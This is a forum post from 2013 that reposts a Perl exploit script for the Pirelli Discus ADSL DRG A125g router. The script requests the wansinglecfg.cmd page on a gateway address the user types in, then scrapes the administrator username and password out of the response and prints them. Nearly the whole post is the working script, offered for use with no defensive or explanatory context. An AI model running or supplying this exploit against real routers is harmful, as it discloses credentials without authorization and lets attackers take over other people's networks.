Gonzalez Posted October 29, 2013 Report Posted October 29, 2013 #!/usr/bin/perl #Author: Sebastián Magof#Vulnerable file: wansinglecfg.cmd#Bug: Password Disclosure# (\/)# (**) ?lpha#(")(")#usage:perl exploit.pluse LWP::UserAgent;use HTTP::Request;#beginprint "\n\n*******************************************************\n";print "* Pirelli Discus ADSL DRG A125g password disclosure *\n";print "*******************************************************\n\n";print "[+] Type your Gateway. (#default gateway 10.0.0.2) : "; #10.0.0.2 default Gateway$gateway =<STDIN>;#pwd disclosure filemy $url = "http://$gateway/wansinglecfg.cmd?action=view";#UserAgentmy $ua = LWP::UserAgent->new();$ua->agent("Mozilla/5.0");#Request.my $req = HTTP::Request->new(GET => $url);my $request = $ua->request($req);my $content = $request->content(); #contentmy ($usr) = $content =~ m/frmLoad\('(.+)', '/;my ($pwd) = $content =~ m/$usr', '(.+)',/;#usr+pwd;print "User: $usr\nPassword: $pwd\n\n";exit(0);__EOF__-Gonzalez Quote